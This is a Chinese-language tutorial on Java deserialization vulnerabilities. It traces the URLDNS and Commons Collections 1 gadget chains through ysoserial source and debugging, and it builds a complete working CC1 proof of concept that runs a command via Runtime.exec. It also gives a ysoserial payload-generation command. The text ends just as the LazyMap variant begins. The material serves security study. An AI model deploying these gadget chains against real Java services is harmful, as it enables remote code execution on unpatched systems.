经过复现分析codebase任意命令执行,我们发现codebase是通过[Ljava.rmi.server.ObjID; 的 classAnnotations 传递的即使我们没有 RMI 的客户端,只需要修改 classAnnotations 的值,就能控制 codebase使其指向攻击者的恶意网站。至于ClassAnnotations实际是靠ObjectOutputStream中的annotateClass方法写入的内容,也就是说annotateClass 负责把 codebase 写进 classAnnotations。
反序列化
一门成熟的语言,如果需要在网上传递信息,通常会用到一些格式化数据,比如JSON、XML
JSON和XML是通用数据交互格式,通常用于不同语言、不同环境下数据的交互,比如前端的JavaScript通过JSON和后端服务通信、微信服务器通过XML和公众号服务器通信。但这两个数据格式都有一个共同的问题:不支持复杂的数据类型
大多数处理方法中,JSON和XML支持的数据类型就是基本数据类型,整型、浮点型、字符串、布尔等,如果开发者希望在传输数据的时候直接传输一个对象,那么就不得不想办法扩展基础的JSON(XML)语法。比如Jackson和Fastjson这类序列化库,在JSON(XML)的基础上进行改造,通过特定的语法来传递对象;亦或者如RMI,直接使用Java等语言内置的序列化方法,将一个对线转换成一串二进制数据进行传输。
不管是Jackson、Fastjson还是编程语言内置的序列化方法,一旦涉及到序列化与反序列化数据,就可能会涉及到安全问题。”反序列化漏洞”是对一类漏洞的泛指,而不是转指某种反序列化方法导致的漏洞,比如Jackson反序列化漏洞和Java readObject造成的反序列化漏洞就是完全不同的两种漏洞。
反序列化方法的对比
Java反序列化与PHP反序列化
Java反序列化和PHP反序列化其实有点类似,他们都只能将一个对象的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。
但Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法writeObject,允许开发者在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用readObject进行读取。
当然PHP中也提供了一个魔术方法叫__wakeup,在反序列化的时候进行触发。很多人会认为Java的readObject和PHP__wakeup类似,但其实不全对,虽然都是在反序列化的时候触发,但他们解决的问题稍微有些差异
readObejct倾向于解决”反序列化时如何还原一个完整对象”,而PHP的__wakeup更倾向于解决”反序列化后如何初始化这个对象”的问题。这个涉及理念的差别决定了为什么Java反序列化漏洞这么多的原因。
php反序列化
PHP的序列化时开发者不能参与的,开发者调用serialize函数后,序列化的数据就已经完成了,你得到的是一个完整对象,并不能在序列化数据流里新增某一个内容,如果想插入新的内容,只有将其保存在一个属性中。也就是说PHP的序列化、反序列化是一个纯内部的过程,而其__sleep、__wakeup魔术方法的目的就是在序列化、反序列化的前后执行一些操作。
一个非常典型的PHP序列化例子,就是含有资源类型的PHP类,如数据库连接:
<?php
class Connection
{
protected $link;
private $dsn, $username, $password;
public function __construct($dsn, $username, $password)
{
$this->dsn = $dsn;
$this->username = $username;
$this->password = $password;
$this->connect();
}
private function connect()
{
$this->link = new PDO($this->dsn, $this->username, $this ->password);
}
}
PHP中,资源类型的对象默认是不会写入序列化是数据中的。那么上述Connection类的$link属性在序列化后就是null,反序列化拿到的时候也是null。
那么,如果我想要反序列化时拿到的$link就是一个数据库连接,就需要__wakeup方法:
<?php
class Connection
{
protected $link;
private $dsn, $username, $password;
public function __construct($dsn, $username, $password)
{
$this->dsn = $dsn;
$this->username = $username;
$this->password = $password;
$this->connect();
}
private function connect()
{
$this->link = new PDO($this->dsn, $this->username, $this->password);
}
public function __sleep()
{
return array('dsn', 'username', 'password');
}
public function __wakeup()
{
$this->connect();
}
可见,这里__wakeup的工作就是在反序列化拿到Connection对象后,执行connect()函数,连接数据库。
__wakeup的作用在反序列化后,执行一些初始化操作。但其实我们很少利用反序列化数据传递资源类型的对象,而其他类型的对象,在反序列化的时候已经赋予其值了。PHP反序列化漏洞很少是由__wakeup这个方法触发的,通常触发在解析函数__destruct里。其实大部分PHP反序列化漏洞,都并不是由反序列化导致的,只是通过反序列化可以控制对象的属性,进而在后续的代码中进行危险操作。
Java反序列化
Java反序列化的操作,很多是需要开发者深入参与的,所以会发现大量的库会实现readObject、writeObject方法,这和PHP中__wakeup、__sleep很少使用是存在鲜明对比的。
RMI最后提到了classAnnotations中携带codebase信息。这里再来说说objectAnnotation。
Java在序列化一个对象时,将会调用这个对象的writeObject方法,参数类型是ObjectOutputSteam,开发者可以将任何内容写入这个Stream中;反序列化时,会调用readObject,开发者也可以从中读取出前面写入的内容,并进行处理。
举个例子,编写了一个Person类
package org.vulhub.Ser;
import java.io.IOException;
public class Person implements java.io.Serializable {
public String name;
public int age;
Person(String name, int age) {
this.name = name;
this.age = age;
}
private void writeObject(java.io.ObjectOutputStream s) throws
IOException {
s.defaultWriteObject();
s.writeObject("This is a object");
}
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
s.defaultReadObject();
String message = (String) s.readObject();
System.out.println(message);
}
}
可见,这里执行完默认的s.defaultwriteObject()后,向stream里写入了字符串This is a object,利用SerializationDumper查看此时生成的序列化数据:

可见我们写入的字符串This is a object被放在objectAnnoation的位置。在反序列化时读取了这个字符串,并将其输出:

Java CC链中会用到HashMap,其就是将Map中的所有键、值都存储在objectAnnotation中,而并不是某个具体属性里
Python反序列化
Python反序列化与Java、PHP有一个显著的区别,python反序列化过程实际上是在执行一个基于栈的虚拟机。我们可以向栈上增、删对象,也可以执行一些命令,比如函数的执行等,甚至可以用这个虚拟机执行一个完整的应用程序。
所以,Python的反序列化可以立即导致任意函数、命令执行漏洞,与需要gadget的PHP和Java相比更加危险。
从危害上来看,Python的反序列化危害是最大的;从应用广度上来看,Java的反序列化时最常被用到的;从反序列化原理上来看,PHP和Java时类似又不尽相同的。
ysoserial
ysoserial可以让用户根据自己选择的利用连,生成反序列化利用数据,通过将这些数据发送给目标,从而执行用户预先定义的命令。
什么是利用链?
利用链也叫”gadget chains”,我们通常称为gadget。gadget连接的是从触发位置开始到执行命令的位置结束,在PHP里可能是__destruct到eval;
ysoserial的使用也很简单,可以很容易生成gadget对应的POC
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"
如上,ysoserial大部分的gadget的参数就是一条命令,比如这里id。生成好的POC发送给目标,如果目标存在反序列化漏洞,并满足这个gadget对应的条件,则命令id将被执行。
Java项目调试
以https://github.com/frohoff/ysoserial为例,下载源码,然后用IDEA打开。如果这个项目里包含了pom.xml文件,说明这个是用maven打包的项目,这个时候IDEA会自动根据其中的配置下载依赖。如果依赖有问题可以手工点击菜单里的Files – Project Structure,然后配置Libraries

当然也可以使用maven的面板进行安装

依赖弄好了,需要干一个事情就是找整个项目里有哪些入口点(其实就是主类和main函数)。这个其实可以在maven的配置文件里找到,比如ysoserial的主类在这里配置的

maven-assembly-plugin就是一个用来打包项目的插件,可以把依赖、类文件什么的都打包在一起。这里的mainClass的值是ysoserial.GeneratePayload,自然就是主类。
根据这个配置打开文件src/main/java/ysoserial/GeneratePayload.java,就能看到main函数了

左边箭头,有debug可以进行调试

点击后会打印usage,因为这会没有加任何参数

打开Debug Configurations

修改Program arguments加上运行时的命令参数即可

在CC1这个gadget的代码里下个断点,成功断下,command的值是id

URLDNS
URLDNS就是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作”利用链”。因为其参数不是一个可以”利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。
虽然这个”利用链”实际上是不能”利用”的,但因为其如下的优点,非常适合在检测反序列化漏洞时使用:
1.使用Java内置的类构造,对第三方库没有依赖
2.在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
打开https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java看看ysoserial是如何生成URLDNS代码的:
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
利用链分析
看到URLDNS类的getObject方法,ysoserial会调用这个方法获得Payload。这个方法返回的是一个对象,这个对象就是最后被序列化的对象,在这里是HashMap
触发反序列化的方法是readObject,因为Java开发者经常会在这里面写自己的逻辑,所以导致可以构造利用连
HashMap类的readObject方法
/**
* Reconstitute the {@code HashMap} instance from a stream (i.e.,
* deserialize it).
*/
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
在最后的位置可以看到HashMap的键名计算了hash:
putVal(hash(key), key, value, false, false);
为什么会关注hash函数?因为ysoserial的注释中很明确地说明了”During the put above, the URL’s hashCode is calculated and cached. This resets that so
the next time hashCode is called a DNS lookup will be triggered.”是hashCode的计算操作触发了DNS请求。在此处下断点,对这个hash函数进行调试并跟进,这是调用栈:

hash方法调用了key的hashcode方法():
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
回到URLDNS看这里的key是一个java.net.URL对象

我们看看其hashCode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
handler是URLSteamHandler对象

继续跟进hashcode方法,这里有调用getHostAddrss方法

继续跟进getHostAddress方法

这里InetAddrsss.getByName(host)的作用是根据主机名,获取其IP地址,在网络上其实就是一次DNS查询。利用第三方反连平台就可以查询到这次请求,证明的确存在反序列化漏洞

至此,整个URLDNS的Gadget就比较清晰了
1.HashMap->readObject()
2.HashMap->hash()
3.URL->hashCode()
4.URLSteamHandler->hashCode()
5.URLSteamHandler->getHostAddress()
6.InetAddress->getByName()
要构造这个Gadget,只需要初始化一个java.net.URL对象,作为key放在java.util.HashMap中;然后设置这个URL对象的hashCode为初始值-1,这样反序列化时将会重新计算其hashCode,才能触发到后面的DNS请求,否则不会调用URL->hashCode()
再走一遍
反序列化前
构造HashMap对象,将URL作为key塞入

–>hashMap.put()

–>hashMap.hash()

–>URL.hashCode(),这里出现了一个关键分歧点只有当hashCode=-1的时候才能走后续的DNS查询,目前hashCode并未进行设置所以!=-1返回了hashCode

关键点设置hashCode=-1

反序列化时

HashMap重写了readObject,所以反序列化的时候走HashMap里的readObject
–> putVal()

–> hash()

–> URL.hashCode(),此时hashCode=-1

–> URLStreamHandler.hashCode()

–> getHostAddress()

–> InetAddress.getByName(),最终进行DNS查询

CC1
CC1demo
package client;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\Windows\\System32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}

这个过程涉及到下面几个接口和类
TransformedMap
TransformedMap用于对java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。我们通过下面这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);
其中keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。这里所说的回调,并不是传统意义上的回调函数,而是一个实现了Transformer接口的类。
Transformer:最基础的”转换器接口”
Transformer是一个接口,只有一个待实现的方法
public interface Transformer {
public Object transform(Object input);
}
TransformedMap在转换Map的新元素时,就会调用transform方法,这个过程就类似在调用一个”回调函数”,这个回调的参数时原始对象。
输入一个对象input经过transform()返回另一个对象output
Transformer transformer = new Transformer() {
@Override
public Object transform(Object input) {
return "hello " + input;
}
};
Object result = transformer.transform("lain");
System.out.println(result);
输出
hello lain
ConstantTransformer:无视输入,永远返回固定值
ConstantTransformer是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
所以他的作用其实就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。
不管传进去什么,永远返回构造时传入的那个对象
Transformer transformer = new ConstantTransformer("Lain");
System.out.println(transformer.transform("abc"));
System.out.println(transformer.transform(123));
System.out.println(transformer.transform(null));
输出都是
Lain
Lain
Lain
InvokerTransformer:反射调用对象方法
InvokeTransformer是实现了Transformer接口的类,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键。
在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表
public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
-----------------------------
new InvokerTransformer(
"方法名",
new Class[]{参数类型},
new Object[]{参数值}
)
后面回调transform方法,就是执行了input对象的iMethodName方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
对输入对象调用某个方法,并返回方法执行结果
public class InvokerTransformer implements Transformer {
private final String methodName;
private final Class[] paramTypes;
private final Object[] args;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
}
@Override
public Object transform(Object input) {
Class clazz = input.getClass();
Method method = clazz.getMethod(methodName, paramTypes);
return method.invoke(input, args);
}
}
也就是input.methodName(args)
再看几个例子
Transformer transformer = new InvokerTransformer(
"toUpperCase",
new Class[]{},
new Object[]{}
);
Object result = transformer.transform("hello");
System.out.println(result);
等价于
"hello".toUpperCase();
-------------------------------------------------
Transformer transformer = new InvokerTransformer(
"substring",
new Class[]{int.class, int.class},
new Object[]{1, 4}
);
Object result = transformer.transform("abcdef");
System.out.println(result);
等价于
"abcdef".substring(1, 4);
ChainedTransformer
ChainedTransformer也是实现了Transformer接口的一个类,它的作用是将内部的多个Transformer串在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
简化来看就是
result = input
result = transformer1.transform(result)
result = transformer2.transform(result)
result = transformer3.transform(result)
return result
举个例子看看
Transformer[] transformers = new Transformer[]{
new ConstantTransformer("hello"),
new InvokerTransformer("toUpperCase", new Class[]{}, new Object[]{}),
new InvokerTransformer("substring", new Class[]{int.class, int.class}, new Object[]{1, 4})
};
Transformer chain = new ChainedTransformer(transformers);
Object result = chain.transform("随便传什么");
System.out.println(result);
执行流程就是
初始输入:"随便传什么"
第一步 ConstantTransformer("hello")
返回:"hello"
第二步 InvokerTransformer("toUpperCase")
等价于:"hello".toUpperCase()
返回:"HELLO"
第三步 InvokerTransformer("substring", 1, 4)
等价于:"HELLO".substring(1, 4)
返回:"ELL"
理解demo
理解这几个Transformer的意义后回头看看demo
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\Windows\\System32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
创建了一个ChainedTransformer,其中包含两个Transformer,第一个是ConstantTransformer直接返回当前环境的Runtime对象,第二个是invokerTransformer,执行Runtime对象的exec方法,参数是C:\\Windows\\System32\\calc.exe
这个transformerChain只是一系列回调,我们需要用其来包装innerMap,使用的前面说到的TransformedMap.decorate
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
innerMap // 原始 HashMap
null // key 不转换
transformerChain // value 要经过 transformerChain 转换
以后只要往这个 Map 里放 value,就先用 transformerChain.transform(value) 处理一下
最后怎么触发回调呢,就是向Map中放入一个新的元素
outerMap.put("test", "xxxx");
innerMap与outerMap
innerMap是真正存数据的普通HashMap;outerMap是被LazyMap/TransformedMap包装后的代理/装饰Map,它内部仍然调用innerMap存数据。
而 LazyMap / TransformedMap 是 Commons Collections 提供的装饰器类,它们会在普通 Map 外面包一层特殊逻辑。之后如果操作的是包装后的 outerMap,就会根据具体装饰器的特性触发对应的 Transformer
POC
AnnotationInvocationHandler
demo的触发核心是向outerMap中添加一个value值outerMap.put(“test”,”xxxx”);来触发漏洞,但实际反序列化时,我们需要一个类,它在反序列化的readObject逻辑里有类似的写入操作
这个类就是sun.reflect.annotation.AnnotationInvocationHandler,查看其readObject方法(这是8u71以前的代码,8u71后做了一些修改)
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
核心逻辑就是Map.Entry<String Object> memberValue :memberValues.entrySet()和memberValue.setValue(…)
memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。
所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
这里因为sun.reflect.annotation.AnnotationInvocationHandler是在JDK内部的类,不能直接使用new来实例化,所以使用反射获取了它的构造方法,并将其设置成外部可见,再调用就可以实例化了。
AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类,第二个参数就是前面构造的Map,构造出对象后就是我们反序列化利用链的起点了,通过如下代码生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
将这几段代码拼接到demo代码的后面,组成一个完整的POC,试着运行这个POC,看看能否生成序列化数据流

在writeObject的时候出现异常了:java.io.NotSerializableException: java.lang.Runtime
原因是,Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了java.io.Serializable接口。而我们最早传给ConstantTransformer是Runtime.getRuntime(),Runtime类是没有实现java.io.Serializable接口的,所以不允许被序列化。
为了避免这个错我,可以变通一下,通过反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
转换成Transformer的写法就是如下
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
其实和demo最大的区别就是将Runtime.getRuntime()换成了Runtime.class,前者是一个java.lang.Runtime对象,后者是一个java.lang.Class对象。Class类有实现Serialization接口,所以可以被序列化
再写个对比看看,第一种在序列化的时候就写死了Runtime.getRuntime也就是Runtime对象,该对象没有实现Serialization接口,但是换成第二种则变成了Class对象后面的东西也可以序列化,才能够真正被写入序列化流中。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\Windows\\System32\\calc.exe"}),
};
------------------------------------------------------------------------
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
但是修改后运行还是出错

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在AnnotationInvocationHandler:readObject的逻辑中,有一个if语句对var7进行判断(这里不要混淆源码变量名 和 反编译变量名,前面源码展示的memberValue是源码里面的变量IDEA反编译拿到的代码生成的变量是反编译变量名),只有在其不是null的时候才会进入里面执行setValue,否则不会进入也不会触发漏洞

如何让这个var7不为null呢,需要两个条件
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
- 被TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
这里也解释了为什么前面用到Retention.class,因为Retention有一个方法名为value;所以,为了再满足第二个条件需要给Map中放入一个Key是value的元素
innerMap.put("value", "xxxx");

完整POC
package client;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"C:\\\\Windows\\\\System32\\\\calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
为什么Java高版本无法利用
Java 8u71以后Java官方修改了sun.reflect.annotation.AnnotationIvocationHandler的readObject函数
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
改动后不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以后续对Map的操作都是基于这个新的LinkHashMap对象,而原来精心构造的Map不再执行set或put操作,也就不会触发RCE
ysoserial POC
ysoserial中CC1的POC和前面完全不同是因为利用链不一样,ysoserial用到的不是TransformerMap而是LazyMap
LazyMap
LazyMap和TransformedMap类似,都来自于CC库并继承了AbstractMapDecorator
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factroy.transform。其实这也很好理解,LazyMap的作用是”懒加载”,在get不到值的时候,它会调用factory.transform方法去获取一个值
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法中并没有直接调用到Map的get方法,所以ysoserial找到了另一条路,AnnotationInvocationHandler类的ivoke方法有调用到get

又如何能调用到AnnotationInvocationHandler#invoke呢?ysoserial的作者想到的是利用Java的对象代理
Java对象代理
作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法__call,我们需要用到java.reflect.Proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
Proxy.newProxyInstance的第一个参数是ClassLoader,用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了invocationHandler接口的对象,里面包含了具体代理的逻辑
比如我们写这样一类ExampleInvocationHandler
package org.vulhub.Ser;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}
ExampleInvocationHandler类实现了invoke方法,作用是在监控到调用方法名是get的时候,返回一个特殊字符串Hacked Object
在外部调用这个ExampleInvocationHandler
package client;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class app {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new
HashMap());
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
运行后可以发现,虽然向Map放入的hello值为world,但我们获取到的结果却是Hacked Object

回看sun.reflect.annotation.AnnotationInvocationHandler,会发现实际上这个类就是一个Invocation Handler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get
使用LazyMap构造利用链
